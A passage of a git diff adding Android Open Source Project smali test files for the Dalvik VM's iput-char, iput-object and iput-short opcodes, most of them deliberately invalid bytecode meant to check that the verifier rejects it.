+       iput-char v0, v3, Ldot/junit/opcodes/iput_char/d/T_iput_char_23;->st_b:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_24.smali
new file mode 100644
index 0000000..94a1ff2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_24.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_24.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_24;
+.super  Ljava/lang/Object;
+
+.field public  st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-char v0, v3, Ldot/junit/opcodes/iput_char/d/T_iput_char_24;->st_z:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_3.smali
new file mode 100644
index 0000000..39df7e3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_3.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_3.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_3;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       iput-char v0, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_3;->st_i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_30.smali
new file mode 100644
index 0000000..b6867f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_30.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_30.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iput_char/d/T_iput_char_30;
+    const v1, 0
+    iput-char v1, v0, Ldot/junit/opcodes/iput_char/d/T_iput_char_30;->st_i1:C
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_31.smali
new file mode 100644
index 0000000..0194030
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_31.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_31.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    const v1, 0
+    iput-char v1, v0, Ldot/junit/opcodes/iput_char/d/T_iput_char_31;->st_i1:C
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_4.smali
new file mode 100644
index 0000000..1b49e59
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_4.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_4;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-char v3, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_4;->st_i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_7.smali
new file mode 100644
index 0000000..7a7c256
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_7.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_7;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_7;->st_i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_8.smali
new file mode 100644
index 0000000..173c19f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_8.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_8.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_char/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_char/TestStubs;-><init>()V
+
+       const v1, 0
+       iput-char v1, v0, Ldot/junit/opcodes/iput_char/TestStubs;->TestStubField:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_9.smali
new file mode 100644
index 0000000..e8e7348
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_9.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_9noclass;->st_i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_11.smali
new file mode 100644
index 0000000..e0d0048
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_11.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_11.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_object/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_object/TestStubs;-><init>()V
+
+       iput-object v2, v0, Ldot/junit/opcodes/iput_object/TestStubs;->TestStubFieldFinal:Ljava/lang/Object;
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_14.smali
new file mode 100644
index 0000000..7f0a504
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_14.smali

@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_14.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_14;
+.super  Ldot/junit/opcodes/iput_object/d/T_iput_object_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_object/d/T_iput_object_1;-><init>()V
+       return-void
+.end method
+
+.method public  getProtectedField()Ljava/lang/Object;
+.registers 2
+
+       iget-object v0, v1, Ldot/junit/opcodes/iput_object/d/T_iput_object_1;->st_p1:Ljava/lang/Object;
+       return-object v0
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-object v2, v2, Ldot/junit/opcodes/iput_object/d/T_iput_object_1;->st_p1:Ljava/lang/Object;
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_15.smali
new file mode 100644
index 0000000..21e56b8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_15.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_15.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_15;
+.super  Ldot/junit/opcodes/iput_object/d/T_iput_object_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_object/d/T_iput_object_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-object v2, v2, Ldot/junit/opcodes/iput_object/d/T_iput_object_1;->st_pvt1:Ljava/lang/Object;
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_17.smali
new file mode 100644
index 0000000..64ece6e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_17.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-object v2, v2, Ldot/junit/opcodes/iput_object/d/T_iput_object_17;->st_i1:Ljava/lang/Object;
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_18.smali
new file mode 100644
index 0000000..e2e7f35
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_18.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_18.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_18;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-object v2, v2, Ldot/junit/opcodes/iput_object/d/T_iput_object_18;->st_i1:D
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_21.smali
new file mode 100644
index 0000000..dbe23fb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_21.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_21.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_21;
+.super  Ljava/lang/Object;
+
+.field public  st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       iput-object v3, v3, Ldot/junit/opcodes/iput_object/d/T_iput_object_21;->st_c:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_22.smali
new file mode 100644
index 0000000..85e0bb8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_22.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_22.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_22;
+.super  Ljava/lang/Object;
+
+.field public  st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       iput-object v3, v3, Ldot/junit/opcodes/iput_object/d/T_iput_object_22;->st_i:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_23.smali
new file mode 100644
index 0000000..2eff592
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_23.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_23.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_23;
+.super  Ljava/lang/Object;
+
+.field public  st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       iput-object v3, v3, Ldot/junit/opcodes/iput_object/d/T_iput_object_23;->st_b:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_24.smali
new file mode 100644
index 0000000..fed4d0b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_24.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_24.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_24;
+.super  Ljava/lang/Object;
+
+.field public  st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       iput-object v3, v3, Ldot/junit/opcodes/iput_object/d/T_iput_object_24;->st_z:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_6.smali
new file mode 100644
index 0000000..1ca7aca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_6.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_6.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_6;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-object v3, v2, Ldot/junit/opcodes/iput_object/d/T_iput_object_6;->st_i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_8.smali
new file mode 100644
index 0000000..1776ab8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_8.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_8.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_object/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_object/TestStubs;-><init>()V
+
+       iput-object v2, v0, Ldot/junit/opcodes/iput_object/TestStubs;->TestStubField:Ljava/lang/Object;
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_1.smali
new file mode 100644
index 0000000..8c422ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_1.smali

@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_1.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_1;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+.field protected  st_p1:S
+.field private  st_pvt1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public getPvtField()S
+.registers 2
+
+       iget-short v0, v1, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;->st_pvt1:S
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_1;->st_i1:S
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_10.smali
new file mode 100644
index 0000000..01f49e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_10.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_10.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_10;->st_i1N:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_11.smali
new file mode 100644
index 0000000..f10d1c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_11.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_11.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_short/TestStubs;
